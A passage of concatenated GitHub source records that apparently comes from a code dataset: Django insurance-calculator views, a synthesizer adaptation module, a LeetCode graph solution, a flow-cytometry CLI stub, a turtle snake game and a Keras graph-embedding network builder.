Details(name=name,age=age,amount=amount,year=ye,start_date=x,typo=typo,total=total,newid=idi)\n            detailsu.save()\n            # val.details.create(name=name,age=age,amount=amount,year=year,typo=typo,total=total)\n            # val.details.add(detailsu)\n            # val.save()\n            # det = val.details.all()\n            deta = Details.objects.all()\n            return render(request,\"profile.html\",{'val':val,'detailsu':deta,'idi':idi})\n    return render(request,'cal_cancer.html')\n\ndef term_calculation1(request):\n    if request.method==\"GET\":\n        name = \"General Insurance\"\n        age = int(request.GET['age'])\n        amount = int(request.GET['amount'])\n        year = request.GET['year']\n        year=year.split(\"+\")\n        typo = int(request.GET['type'])\n        y=float(year[0])\n        ye=year[1]\n        total = float(amount*y)\n        total = total + (total*age/100)\n        if age==0:\n            age=\"18-20\"\n        elif age==10:\n            age=\"21-25\"\n        elif age==15:\n            age=\"26-30\"\n        elif age==20:\n            age=\"31-35\"\n        elif age==25:\n            age=\"36-40\"\n        elif age==30:\n            age=\"41-45\"\n        elif age==35:\n            age=\"46-50\"\n        total = int(total/typo)\n        slash = \"/\"\n        if typo==12:\n                    month = \"month\"\n        else:\n                month = \"months\"\n        if typo==4:\n                typo=3\n        elif typo==2:\n                typo=6\n        elif typo==1:\n                typo=12\n        elif typo==12:\n                typo=1    \n              \n            \n        if request.GET['confirm']=='check':\n            \n            \n            return render(request,'cal_general.html',{'total':total, 'type' : typo , 'month':month, 'slash':slash})\n        elif request.GET['confirm']=='pay':\n            \n            current = request.user\n            caser=User_Own.objects.all()\n            for ca in caser:\n                if current.username==ca.user_name:\n                    val=ca\n                    break\n            idi = val.id\n            x = datetime.datetime.now()\n            x=x.strftime(\"%x\")\n            detailsu = Details(name=name,age=age,amount=amount,year=ye,typo=typo,start_date=x,total=total,newid=idi)\n            detailsu.save()\n            # val.details.create(name=name,age=age,amount=amount,year=year,typo=typo,total=total)\n            # val.details.add(detailsu)\n            # val.save()\n            # det = val.details.all()\n            deta = Details.objects.all()\n            return render(request,\"profile.html\",{'val':val,'detailsu':deta,'idi':idi})\n    return render(request,'cal_general.html')\n\n\ndef get_values(request):\n    if request.method==\"GET\":\n        current = request.user\n        caser=User_Own.objects.all()\n        for ca in caser:\n            if current.username==ca.user_name:\n                val=ca\n                break\n        idi = val.id\n       \n            # val.details.create(name=name,age=age,amount=amount,year=year,typo=typo,total=total)\n            # val.details.add(detailsu)\n            # val.save()\n            # det = val.details.all()\n        deta = Details.objects.all()        \n        return render(request,\"profile.html\",{'val':val,'detailsu':deta,'idi':idi})\n    return render(request,\"profile.html\")\n\ndef term_calculation2(request):\n    if request.method==\"GET\":\n        name = \"Heart Insurance\"\n        age = int(request.GET['age'])\n        amount = int(request.GET['amount'])\n        year = request.GET['year']\n        year=year.split(\"+\")\n        typo = int(request.GET['type'])\n        y=float(year[0])\n        ye=year[1]\n        total = float(amount*y)\n        total = total + (total*age/100)\n        if age==0:\n            age=\"18-20\"\n        elif age==10:\n            age=\"21-25\"\n        elif age==15:\n            age=\"26-30\"\n        elif age==20:\n            age=\"31-35\"\n        elif age==25:\n            age=\"36-40\"\n        elif age==30:\n            age=\"41-45\"\n        elif age==35:\n            age=\"46-50\"\n        total = int(total/typo)\n        slash = \"/\"\n        if typo==12:\n                    month = \"month\"\n        else:\n                month = \"months\"\n        if typo==4:\n                typo=3\n        elif typo==2:\n                typo=6\n        elif typo==1:\n                typo=12\n        elif typo==12:\n                typo=1    \n        if request.GET['confirm']=='check':\n            return render(request,'cal_heart.html',{'total':total, 'type' : typo , 'month':month, 'slash':slash})\n        elif request.GET['confirm']=='pay':\n            current = request.user\n            caser=User_Own.objects.all()\n            for ca in caser:\n                if current.username==ca.user_name:\n                    val=ca\n                    break\n            idi = val.id\n            x = datetime.datetime.now()\n            x=x.strftime(\"%x\")\n            detailsu = Details(name=name,age=age,amount=amount,year=ye,start_date=x,typo=typo,total=total,newid=idi)\n            detailsu.save()\n            # val.details.create(name=name,age=age,amount=amount,year=year,typo=typo,total=total)\n            # val.details.add(detailsu)\n            # val.save()\n            # det = val.details.all()\n            deta = Details.objects.all()\n            return render(request,\"profile.html\",{'val':val,'detailsu':deta,'idi':idi})\n    return render(request,'cal_heart.html')\n\ndef pension_calculation(request):\n    if request.method==\"GET\":\n        name=\"Pension Plan\"\n        pension=int(request.GET['amount'])\n        age=request.GET['year']\n        age=age.split(\"+\")\n        amount=age[0]*pension\n        slash = \"/\"\n        incentive=int(pension*170000)\n        ye=age[0]\n        age=age[1]\n        month=\"Month\"\n        if request.GET['confirm']=='check':\n            return render(request,'cal_pension.html',{'total':amount,'type':incentive,'month':month,'slash':slash})\n        elif request.GET['confirm']=='pay':\n            current = request.user\n            caser=User_Own.objects.all()\n            for ca in caser:\n                if current.username==ca.user_name:\n                    val=ca\n                    break\n            idi = val.id\n            x = datetime.datetime.now()\n            x=x.strftime(\"%x\")\n            detailsu = Details(name=name,age=age,amount=amount,year=ye,typo=1,start_date=x,total=pension,newid=idi)\n            detailsu.save()\n            # val.details.create(name=name,age=age,amount=amount,year=year,typo=typo,total=total)\n            # val.details.add(detailsu)\n            # val.save()\n            # det = val.details.all()\n            deta = Details.objects.all()\n            return render(request,\"profile.html\",{'val':val,'detailsu':deta,'idi':idi})     \n\n    return render(request,'cal_pension.html')\n\n\n\ndef profile(request):\n    current = request.user\n    person = User_Own.objects.all()\n    return render(request,\"profile.html\",{'user':current,'person':person})\n\ndef team(request):\n    return render(request,\"team.html\")\ndef calculator(request):\n    return render(request,\"blog.html\")\ndef login(request):\n    if request.method=='POST':\n        username = request.POST['username']\n        password = request.POST['password']\n        user = auth.authenticate(username=username,password=password)\n\n        if user is not None:\n            auth.login(request, user)\n            return redirect('/')\n        else:\n            messages.info(request, 'invalid credentials')\n            return redirect('login')\n    else:\n        return render(request,'login.html')\n\ndef logout(request):\n    auth.logout(request)\n    return redirect(\"/\")\ndef select_form(request):\n    form = request.POST['form1']\n    if form == 'form1':\n        return render(request,'blog.html',{'form1':form})\n\n\n\ndef register(request):\n    if request.method == 'POST':\n        first_name = request.POST['first_name']\n        last_name = request.POST['last_name']\n        username = request.POST['username']\n        password1 = request.POST['password1']\n        password2 = request.POST['password2']\n        email = request.POST['email']\n        \n        if password1 == password2:\n            if User.objects.filter(email=email).exists():\n                print('hi')\n                messages.info(request,'Email taken')\n                return redirect('register')\n            else:\n                print('hi2')\n                user = User.objects.create_user(username=username,password=password1,email=email,first_name=first_name,last_name=last_name)\n                user.save()\n                datauser = User_Own.objects.create(first_name=first_name,last_name=last_name,user_name=username,email=email)\n                datauser.save()\n                print('hi3')\n                print(\"User created\")\n                return redirect('login')\n        else:\n            print('hi4')\n            messages.info(request,\"Password not matched\")\n            return redirect('register')\n        return redirect('/')\n    else:\n        print('h5')\n        return render(request,'registration.html')\n","repo_name":"Hemanthsai18/HealthAndLifeInsuranceSystem","sub_path":"SDP2/global/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"18231217911","text":"import sequential\nimport sys\n\nthis_module = sys.modules[__name__]\n\n#\n# Configure the GenericSequential module\n#\nsynth = sequential.GenericSequential(name=\"DSI Pro 2\",\n                                     device_id=0b00101100,  # See Page 134 of the Pro 2 manual\n                                     banks=8,\n                                     patches_per_bank=99,\n                                     name_len=20,\n                                     name_position=378,\n                                     ).install(this_module)\n\n\ndef setupHelp():\n    return \"The DSI Pro 2 has two relevant global settings:\\n\\n\" \\\n           \"1. You must set MIDI Sysex Enable to On\\n\" \\\n           \"2. You must choose the MIDI Sysex Cable.\\n\\n\" \\\n           \"Options are DIN MIDI cable or the USB for sysex. USB is much faster.\\n\\n\" \\\n           \"Both settings are accessible via the GLOBALS menu.\"\n\n\n#\n# If this is not loaded as a module, but called as a script, run our unit tests\n#\nif __name__ == \"__main__\":\n    import unittest\n\n    messages = sequential.load_sysex(\"testData/Pro_2_Programs_v1.0a.syx\")\n    unittest.TextTestRunner().run(sequential.TestAdaptation.create_tests(this_module,\n                                                                         program_dump=messages[0],\n                                                                         program_name='Cascades'))\n","repo_name":"howdihow/KnobKraft-orm","sub_path":"adaptions/DSI Pro 2.py","file_name":"DSI Pro 2.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"47"}
{"seq_id":"26581819879","text":"\"\"\" You are given an undirected graph (the \"original graph\") with n nodes labeled from 0 to n - 1. You decide to subdivide each edge in the graph into a chain of nodes, with the number of new nodes varying between each edge.\n\nThe graph is given as a 2D array of edges where edges[i] = [ui, vi, cnti] indicates that there is an edge between nodes ui and vi in the original graph, and cnti is the total number of new nodes that you will subdivide the edge into. Note that cnti == 0 means you will not subdivide the edge.\n\nTo subdivide the edge [ui, vi], replace it with (cnti + 1) new edges and cnti new nodes. The new nodes are x1, x2, ..., xcnti, and the new edges are [ui, x1], [x1, x2], [x2, x3], ..., [xcnti-1, xcnti], [xcnti, vi].\n\nIn this new graph, you want to know how many nodes are reachable from the node 0, where a node is reachable if the distance is maxMoves or less.\n\nGiven the original graph and maxMoves, return the number of nodes that are reachable from node 0 in the new graph.\n\n \n\nExample 1:\n\n\nInput: edges = [[0,1,10],[0,2,1],[1,2,2]], maxMoves = 6, n = 3\nOutput: 13\nExplanation: The edge subdivisions are shown in the image above.\nThe nodes that are reachable are highlighted in yellow.\nExample 2:\n\nInput: edges = [[0,1,4],[1,2,6],[0,2,8],[1,3,1]], maxMoves = 10, n = 4\nOutput: 23\nExample 3:\n\nInput: edges = [[1,2,4],[1,4,5],[1,3,1],[2,3,4],[3,4,5]], maxMoves = 17, n = 5\nOutput: 1\nExplanation: Node 0 is disconnected from the rest of the graph, so only node 0 is reachable. \"\"\"\n\nimport heapq\nfrom typing import List\n\n\nclass Solution:\n    def reachableNodes(self, edges: List[List[int]], maxMoves: int, n: int) -> int:\n        \"\"\"构建邻接表\"\"\"\n        adj = [[] for _ in range(n)]\n        for u, v, w in edges:\n            adj[u].append((v, w))\n            adj[v].append((u, w))\n\n        \"\"\"Dijkstra\"\"\"\n        dist = [float('inf')] * n\n        dist[0] = 0\n        pq = [(0, 0)]\n        while pq:\n            d, u = heapq.heappop(pq)\n            if d > dist[u]:\n                continue\n            for v, w in adj[u]:\n                if d + w + 1 < dist[v]:\n                    dist[v] = d + w + 1\n                    heapq.heappush(pq, (dist[v], v))\n        print(dist)\n        \"\"\"计算结果\"\"\"\n        ans = 0\n        for u, v, w in edges:\n            if dist[u] > maxMoves and dist[v] > maxMoves:\n                continue\n            ans += min(dist[u] + dist[v] + w, maxMoves) - max(dist[u], dist[v])\n            if dist[u] < maxMoves:\n                ans += 1\n            if dist[v] < maxMoves:\n                ans += 1\n        for i in range(n):\n            if dist[i] <= maxMoves:\n                ans += 1\n        return ans\n\nprint(Solution().reachableNodes([[0,1,4],[1,2,6],[0,2,8],[1,3,1]], 10, 4))\n","repo_name":"wangyue-gagua/LeetcodeCup","sub_path":"每日一题/reachableNodesInSubdividedGraph.py","file_name":"reachableNodesInSubdividedGraph.py","file_ext":"py","file_size_in_byte":2738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"43153191054","text":"#!/usr/bin/env python\n\n# Loading libraries\nimport numpy as np\nimport pandas as pd\n\n# For interfacing with the file system\nimport fnmatch\nimport glob\nimport argparse\n\ndef main():\n    parser = argparse.ArgumentParser(description='FCSlib: A python based toolkit for analyzing and processing flow cytometry and qPCR data')\n    subparser = parser.add_subparsers(title='subcommands', dest='subcommand')\n    # parse commands related to analysis\n    aparser = subparser.add_parser('flow', help='suboptions for fcs')\n    aparser.add_argument('-i', dest='infile', nargs='+', type=str, help='input files')\n    aparser.add_argument('-n', dest='n_samples', type=int, help='number of samples to keep')\n    aparser.add_argument('-trim', dest='trim', action='store_true', help='trim data in fcs file')\n    # parse arguments\n    args = parser.parse_args()\n    if args.subcommand=='flow':\n        df.to_csv(args.ofile, index=False)\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"zchen15/fcslib","sub_path":"fcslib.py","file_name":"fcslib.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"18248885833","text":"from turtle import Turtle, Screen\nimport turtle\nimport random\n\n\n#Setting up the interface\nwn = Screen()\nwn.title(\"Monty's Python Game\")\nwn.setup(width=800, height=800)\nwn.bgcolor('green')\n#allows the game to move at a smooth speed\nwn.tracer(0, 0)\n\n\n#creating the food the player will move over to score points, \n# by creating the food outside of the Snake class, it means each player will be chasing the same food, making the game more two-player orientated and more competitive.    \nfood = turtle.Turtle()\nfood.penup()\nfood.goto(60,60)\nfood.speed(0)\nfood.shape('circle')\nfood.color('white')\nfood.fillcolor('black')\n\n#Creating the class 'Snake', this is the class from which the two player instances will be made from\nclass Snake:\n    \n    #the parameters in __init__ are the parameters that allow the player instances to be called, e.g. 'color' allows the instances to be called with different colors so the players know who is who\n    def __init__(self, goto, color, player, setx, sety):\n      \n        self.sc = Screen()\n\n        #setting up the 'head' of the player, this is the square the player will move. \n        self.head = Turtle()\n        self.head.color(color)\n        self.head.fillcolor('white')\n        self.head.shapesize(outline=5)\n        self.head.shape('square')\n        self.head.penup()\n        self.head.speed(0)\n        self.head.goto(goto)\n        self.head.direction = 'stop'\n        \n        \n        #setting up the point system and player graphics\n        self.score = 0\n        self.player = player\n        self.pen = Turtle()\n        self.pen.color('black')\n        self.color = color\n\n        self.pen.speed(0)\n        self.pen.shapesize(outline=10)\n        self.pen.fillcolor('white')\n        self.pen.penup()\n        self.pen.hideturtle()\n        self.pen.goto(setx, sety)\n        self.pen.write('Player {} ({}) Score: {}'.format(self.player, self.color, self.score), align='center', font=('courier', 24, 'normal'))\n\n        #This will be increased every time a player moves over food to increase the speed, or decrease if they hit a border. \n        self.di = 7\n        \n    # assigning keys\n    def move(self, left_key, right_key, up_key, down_key):\n        self.sc.listen()\n        self.sc.onkey(self.up, up_key)\n        self.sc.onkey(self.down, down_key)\n        self.sc.onkey(self.left, left_key)\n        self.sc.onkey(self.right, right_key)\n     \n     #creating the turn functions\n    def turn(self):\n    \n        if self.head.direction == 'left':\n            l = self.head.xcor()\n            self.head.setx(l - self.di)\n\n        if self.head.direction == 'right':\n            r = self.head.xcor()\n            self.head.setx(r + self.di)\n\n        if self.head.direction == 'up':\n            u = self.head.ycor()\n            self.head.sety(u + self.di)\n\n        if self.head.direction == 'down':\n            d = self.head.ycor()\n            self.head.sety(d - self.di)\n\n\n    def left(self):\n        self.head.direction = 'left'\n\n    def right(self):\n        self.head.direction = 'right'\n\n    def up(self):\n        self.head.direction = 'up'\n\n    def down(self):\n        self.head.direction = 'down'\n\n    #This function resets the player position and decreases the speed if they get too close the edge of the screen, unless their speed is already less than 7.\n    # It also decreases the player score by 10 every time they collide with the edge of the screen, unless they already have zero points, in which case their score remains the same.\n    #This means that a player's speed will always increase or decrease at the same level as their points.\n   \n    def border_c(self):\n        if self.head.xcor()>390 or self.head.xcor()<-390 or self.head.ycor()>390 or self.head.ycor()<-390:\n            \n            self.head.goto(0,0)\n            if self.di > 7:\n                self.di -= 1\n            elif self.di < 7:\n                pass\n            if self.score >= 10:\n                self.score -= 10\n                self.pen.clear()\n                self.pen.write('Player {} ({}) Score: {}'.format(self.player, self.color, self.score), align='center', font=('courier', 24, 'normal'))\n\n            elif self.score < 10:\n                pass\n    \n    #This function increases the score and speed if the player moves over food, and moves the food to a new position. \n    def scores(self):\n        self.random = random\n        if self.head.distance(food) < 20:\n            \n            self.di += 1\n            self.score += 10 \n        \n            self.pen.clear()\n            self.pen.write('Player {} ({}) Score: {}'.format(self.player, self.color, self.score), align='center', font=('courier', 24, 'normal'))\n            \n            y = self.random.randint(-390, 390)\n            x = self.random.randint(-390, 390)\n            food.goto(x,y)\n\n           \n            \n            #This ends the game when a player has a score of 100, and announces the winner. \n            if self.score > 95:\n                self.pen.goto(0,0)\n                self.pen.color('black')\n                self.pen.fillcolor('black')\n                self.pen.shapesize(outline=20)\n                self.pen.write('Player {}  is the winner!'.format(self.player), align='center', font=('courier', 40, 'bold'))\n                wn.mainloop()\n          \n#Creates two player instances\nplayer1 = Snake((-30,30), 'red', '1', -200, 360)\nplayer2 = Snake((30,30), 'blue', '2', 200, 360)\n\n#creates the game loop that calls the functions on the instances. \nwhile True:\n    player1.move('a', 'd', 'w', 's')\n    player1.border_c()\n    player1.turn()\n    player1.scores()\n\n    player2.move('j', 'l', 'i', 'k')\n    player2.turn()\n    player2.border_c()\n    player2.scores()\n\n    wn.update()\n\nwn.mainloop()\n","repo_name":"monty123456789/coding_one_submission","sub_path":"twoplayergame4.py","file_name":"twoplayergame4.py","file_ext":"py","file_size_in_byte":5709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"4220923129","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\n\"\"\"\nMain GTL module responsible for creating, training and testing GTL NN\n\"\"\"\n\nimport numpy as np\n\nfrom keras.models import Model\nfrom keras.layers import Input, Activation\nfrom keras.layers.core import Dense, Lambda, Reshape\nfrom keras.layers.embeddings import Embedding\nfrom keras.layers.merge import Dot, Concatenate\nfrom keras import backend as K\nfrom keras import optimizers\n\nfrom SaveData import plotArchitecture\n\n\n# l2 distance between two network layers\ndef l2_dist(vects):\n    x, y = vects\n    sum_square = K.sum(K.square(x - y), axis=1, keepdims=True)\n    return K.sqrt(K.maximum(sum_square, K.epsilon()))\n# shape of l2 distance between two embeddings in similarity branch\ndef l2_output_shape_sim(shapes):\n    shape1, shape2 = shapes\n    return (shape1[0], 1, 1)\n# shape of l2 distance between two embeddings in distance branch\ndef l2_output_shape_dist(shapes):\n    shape1, shape2 = shapes\n    return (shape1[0], 1)\n\n\ndef createNetworks(input_size, labels, n_layers, embedding_type, embedding_similarity, transmode, same_weights, graph_distance, scale_negative, activation_function):\n    \"\"\" Creates neural network that learns node embeddings of given graph(s)\n    \n    Inputs:\n        INPUT_SIZE List [n,m,k,l] where:\n            N Number of samples, \n            M Number of original features (equal to n for one-hot coding)\n            K Number of embedding features\n            L Number of node labels\n        EMBEDDING_TYPE Type of embedding approach, e.g. 'unified' (unified embedding for target and context nodes) or 'skipgram' (different embeddings for target and context nodes)\n        EMBEDDING_SIMILARITY Measure of similarity between node embeddings within one graph\n        TRANSMODE Flag to specify transfer learning mode\n        GRAPH_DISTANCE Distance between node embeddings of different graphs\n        \n    Outputs: \n        Neural network for graph node embeddings\n    \"\"\"\n    \n    # what is the correct dictionary size? \n    dict_size, feature_size, embedding_size, class_size, negative_size = input_size\n    inputsEmbedding = []\n    inputsEmbeddingA = []\n    inputsEmbeddingB = []\n    outputsEmbedding = []\n    inputsPrediction = []\n    outputsPrediction = []\n    \n    if embedding_similarity == 'l2':\n        from keras.constraints import UnitNorm\n        constraints = UnitNorm(axis=1)\n    else:\n        constraints = None\n    \n    # create embedding branch for graph A\n    if feature_size == 1:\n        input_shape = (1,)\n        input_type = 'int32'\n        Embedding_targetA = Embedding(dict_size, embedding_size, embeddings_constraint=constraints, name='Embedding_TargetA')\n        Embedding_contextA = Embedding(dict_size, embedding_size, embeddings_constraint=constraints, name='Embedding_ContextA')\n    else:\n        input_shape = (1,feature_size,)\n        input_type = 'float'\n        Embedding_targetA = Dense(embedding_size, activation='tanh', kernel_constraint=constraints, name='Embedding_TargetA')\n        Embedding_contextA = Dense(embedding_size, activation='tanh', kernel_constraint=constraints, name='Embedding_ContextA')\n        \n    input_targetA = Input(shape=input_shape, dtype=input_type, name='Input_TargetA')\n    input_contextA = Input(shape=input_shape, dtype=input_type, name='Input_ContextA')\n    inputsEmbeddingA.extend([input_targetA, input_contextA])\n    \n    # use different or the same encodings for target and context\n    embedding_targetA = Embedding_targetA(input_targetA)\n    target_weights = np.random.multivariate_normal(np.zeros(embedding_size), 0.1*np.identity(embedding_size), dict_size)\n    Embedding_targetA.set_weights([target_weights])\n    if embedding_type == 'skipgram': # separate embeddings for target and context nodes\n        embedding_contextA = Embedding_contextA(input_contextA)\n        context_weights = np.random.multivariate_normal(np.zeros(embedding_size), 0.1*np.identity(embedding_size), dict_size)\n        Embedding_contextA.set_weights([context_weights])\n    elif embedding_type == 'unified': # unified embedding\n        embedding_contextA = Embedding_targetA(input_contextA)\n    \n    # add more dense layers to embedding branch if predicting pagerank\n    if labels == 'pagerank':\n        embedding_targetA = Dense(embedding_size, activation='tanh')(embedding_targetA)\n        embedding_contextA = Dense(embedding_size, activation='tanh')(embedding_contextA)\n    \n    # create similarity branch for graph A\n    inputsSimilarityA = [embedding_targetA, embedding_contextA]\n    if embedding_similarity == 'softmax':\n        # add negative samples\n        input_negativeA = Input(shape=(negative_size,)+input_shape[1:], dtype=input_type, name='Input_NegativeA')\n        inputsEmbeddingA.extend([input_negativeA])\n        embedding_negativeA = Embedding_targetA(input_negativeA)\n        # add more dense layers to embedding branch if predicting pagerank\n        if labels == 'pagerank':\n            embedding_negativeA = Dense(embedding_size, activation='tanh')(embedding_negativeA)\n        inputsSimilarityA.extend([embedding_negativeA])\n    similarityA = createSimilarityBranch(embedding_size, mode=embedding_similarity, negative_size=negative_size, graph='A', scale_negative=scale_negative)(inputsSimilarityA)\n    outputsEmbedding.extend([similarityA])\n    inputsEmbedding.extend(inputsEmbeddingA)\n    \n    # create prediction branch\n    inputsPrediction.extend([input_targetA])\n    predictionBranch = createPredictionBranch(embedding_size, n_layers, class_size, activation_function)(embedding_targetA)\n    predictionOutput = Reshape((class_size,), name='PredictionOutput')(predictionBranch)\n    outputsPrediction.extend([predictionOutput])\n    \n    if transmode != '1graph':\n        input_targetB = Input(shape=input_shape, dtype=input_type, name='Input_TargetB')\n        input_contextB = Input(shape=input_shape, dtype=input_type, name='Input_ContextB')\n        inputsEmbeddingB.extend([input_targetB, input_contextB])\n        \n        # create embedding branch for graph B\n        if feature_size == 1:\n            Embedding_targetB = Embedding(dict_size, embedding_size, embeddings_constraint=constraints, name='Embedding_TargetB')\n            Embedding_contextB = Embedding(dict_size, embedding_size, embeddings_constraint=constraints, name='Embedding_ContextB')\n        else:\n            Embedding_targetB = Dense(embedding_size, activation='tanh', kernel_constraint=constraints, name='Embedding_TargetB')\n            Embedding_contextB = Dense(embedding_size, activation='tanh', kernel_constraint=constraints, name='Embedding_ContextB')\n        \n        # use different or the same encodings for target and context\n        embedding_targetB = Embedding_targetB(input_targetB)\n        Embedding_targetB.set_weights([target_weights if same_weights else np.zeros((dict_size, embedding_size))]) # np.random.multivariate_normal(np.zeros(embedding_size), 0.1*np.identity(embedding_size), dict_size)])\n        if embedding_type == 'skipgram': # separate embeddings for target and context nodes\n            embedding_contextB = Embedding_contextB(input_contextB)\n            Embedding_contextB.set_weights([context_weights if same_weights else np.zeros((dict_size, embedding_size))]) # np.random.multivariate_normal(np.zeros(embedding_size), 0.1*np.identity(embedding_size), dict_size)])\n        elif embedding_type == 'unified': # unified embedding\n            embedding_contextB = Embedding_targetB(input_contextB)\n    \n        # add more dense layers to embedding branch if predicting pagerank\n        if labels == 'pagerank':\n            embedding_targetB = Dense(embedding_size, activation='tanh')(embedding_targetB)\n            embedding_contextB = Dense(embedding_size, activation='tanh')(embedding_contextB)\n        \n        # create similarity branch for graph B\n        inputsSimilarityB = [embedding_targetB, embedding_contextB]\n        if embedding_similarity == 'softmax':\n            # add negative samples\n            input_negativeB = Input(shape=(negative_size,)+input_shape[1:], dtype=input_type, name='Input_NegativeB')\n            inputsEmbeddingB.extend([input_negativeB])\n            embedding_negativeB = Embedding_targetB(input_negativeB)\n            # add more dense layers to embedding branch if predicting pagerank\n            if labels == 'pagerank':\n                embedding_negativeB = Dense(embedding_size, activation='tanh')(embedding_negativeB)\n            inputsSimilarityB.extend([embedding_negativeB])\n        similarityB = createSimilarityBranch(embedding_size, mode=embedding_similarity, negative_size=negative_size, graph='B', scale_negative=scale_negative)(inputsSimilarityB)\n        outputsEmbedding.extend([similarityB])\n        inputsEmbedding.extend(inputsEmbeddingB)\n        \n        # create graph distance branch\n        if transmode != 'noP':\n            distanceAB = createDistanceBranch(embedding_size, mode=graph_distance)([embedding_targetA, embedding_targetB])\n            outputsEmbedding.extend([distanceAB])\n        \n    modelEmbedding = Model(inputs = inputsEmbedding, outputs = outputsEmbedding)\n    branchEmbeddingA = Model(inputs  = inputsEmbeddingA, outputs = outputsEmbedding[0])\n    branchEmbeddingB = Model(inputs  = inputsEmbeddingB, outputs = outputsEmbedding[1]) if transmode!='1graph' else None\n    modelPrediction = Model(inputs = inputsPrediction, outputs = outputsPrediction)\n\n    return modelEmbedding, branchEmbeddingA, branchEmbeddingB, modelPrediction\n\n\ndef createSimilarityBranch(embedding_size, mode='innerprod', negative_size=0, graph='A', scale_negative=False):\n    \"\"\" Branch of global network: computes similarity between embeddings of given two nodes in a graph\n    \"\"\"\n    inputT = Input(shape=(1,embedding_size,), name='Embedding_Target')\n    inputC = Input(shape=(1,embedding_size,), name='Embedding_Context')\n    inputs = [inputT, inputC]\n    \n    layer_name = 'Output_Similarity'\n    if mode=='l2': # l2 distance\n        similarity =  Lambda(l2_dist, output_shape=l2_output_shape_sim, name=layer_name)(inputs)\n    elif mode=='cossim': # cosine similarity\n        similarity = Dot(axes=-1, normalize=True, name=layer_name)(inputs)\n    elif mode=='innerprod': # inner product\n        similarity = Dot(axes=-1, name=layer_name)(inputs)\n    else: # softmax (default)\n        inputNS = Input(shape=(negative_size,embedding_size,), name='Embedding_NS')\n        inputs.append(inputNS)\n        similarityTC = Dot(axes=-1)([inputT, inputC])\n        similarityCNS = Dot(axes=-1)([inputC, inputNS])\n        similarity = Concatenate(axis=-1)([similarityTC, similarityCNS])\n        similarity = Activation('softmax', name=layer_name)(similarity)\n    \n    # normalize negative samples loss\n    if scale_negative:\n        def normalizeNS(x):\n#            from keras import backend as K\n#            x = K.eval(x)\n#            for i in range(1,len(x)):\n#                x[i] = x[i]/negative_size\n#            return K.variable(x)\n            return x/negative_size\n        similarity = Activation(normalizeNS)(similarity)\n    \n    return Model(inputs, similarity, name='Branch_Similarity'+graph)\n\n\ndef createPredictionBranch(embedding_size, n_layers, class_size, activation):\n    \"\"\" Branch of global network: predicts node label for a given embedding\n    \"\"\"\n    input = Input(shape=(embedding_size,), name='Input_Embedding')\n    \n#    activation = 'tanh' # sigmoid\n    # intermediate layer(s) structure\n    prediction = Dense(embedding_size, activation=activation)(input)\n    for _ in range(n_layers-1):\n        prediction = Dense(embedding_size, activation=activation)(prediction)\n    # last layer structure\n    layer_name = 'Output_Label'\n    if class_size > 1:\n        # classification task case\n        prediction = Dense(class_size, activation='softmax', name=layer_name)(prediction)\n    else: \n        # regression task case\n        prediction = Dense(class_size, activation='sigmoid', name=layer_name)(prediction)\n    return Model(input, prediction, name='Branch_Prediction')\n\n\ndef createDistanceBranch(embedding_size, mode='l2'):\n    \"\"\" Branch of global network: computes all pairwise distances between node embeddings of different graphs\n    \"\"\"\n    input1 = Input(shape=(embedding_size,), name='Input_EmbeddingA')\n    input2 = Input(shape=(embedding_size,), name='Input_EmbeddingB')\n    \n    layer_name = 'Output_DistanceAB'\n    if mode=='innerprod': # inner product\n        distance12 =  Dot(axes=-1, name=layer_name)([input1,input2])\n    elif mode=='cossim': # cosine similarity\n        distance12 =  Dot(axes=-1, normalize=True, name=layer_name)([input1,input2])\n    else: # euclidean distance (default)\n#        def l2_graphdist(vects):\n#            x, y = vects\n#            sum_square = K.sum(K.square(x - y), axis=1, keepdims=True)\n#            return K.sigmoid(K.sqrt(K.maximum(sum_square, K.epsilon())))-.5\n#        distance12 =  Lambda(l2_graphdist, output_shape=l2_output_shape, name=layer_name)([input1,input2])\n        distance12 = Lambda(l2_dist, output_shape=l2_output_shape_dist, name=layer_name)([input1,input2])\n    return Model([input1, input2], distance12, name='Branch_Distance')\n\n\n# generic function that specifies loss function to be used \ndef getLoss(loss='crossentropy'):\n    if loss=='l2':\n        return L2Loss\n    elif loss=='innerprod':\n        return InnerProdLoss\n    else: # crossentropy (default)\n        return 'binary_crossentropy' # multiple true labels are possible in output vector\n#        return 'categorical_crossentropy' # only one true label is possible in output vector\n\n\n# outputs inner product loss between true and predicted labels\ndef InnerProdLoss(yTrue, yPred):\n    return K.sum(yTrue * yPred)\n\n\n# outputs l2 loss between true and predicted labels\ndef L2Loss(yTrue, yPred):\n    return K.sqrt(K.sum(K.square(yTrue - yPred)))\n\n\n# root mean squared error\ndef RMSELoss(yTrue, yPred):\n    return K.sqrt(K.mean(K.square(yTrue - yPred)))\n\n\ndef getGTLmodel(n_nodes, n_features, n_embedding, labels, n_labels, n_layers, n_negative, scale_negative, embedding_type, embedding_similarity, similarity_loss, prediction_loss, activation_function, transmode, same_weights, graph_distance, learning_rate, alpha, save_path, output_file, visualize):\n    \n    input_size = (n_nodes, n_features, n_embedding, n_labels, n_negative)\n    \n    Optimizer = optimizers.SGD(lr=learning_rate, nesterov=True)\n    \n    print(\"\\n *************** Creating Model ***************\".upper(), file=output_file)\n    EmbeddingModel, EmbeddingABranch, EmbeddingBBranch, PredictionModel = createNetworks(input_size, labels, n_layers, embedding_type, embedding_similarity, transmode, same_weights, graph_distance, scale_negative, activation_function)\n\t\n    # Neural Net learning node embeddings\n    EmbLoss = {\"Branch_SimilarityA\": getLoss(similarity_loss)}\n    loss_weights = [1]\n    if transmode != '1graph':\n        EmbLoss.update({\"Branch_SimilarityB\": getLoss(similarity_loss)})\n        loss_weights.append(1)\n        if transmode != 'noP':\n            EmbLoss.update({\"Branch_Distance\": InnerProdLoss})\n            loss_weights.append(alpha)\n    EmbeddingModel.compile(optimizer=Optimizer, loss=EmbLoss, 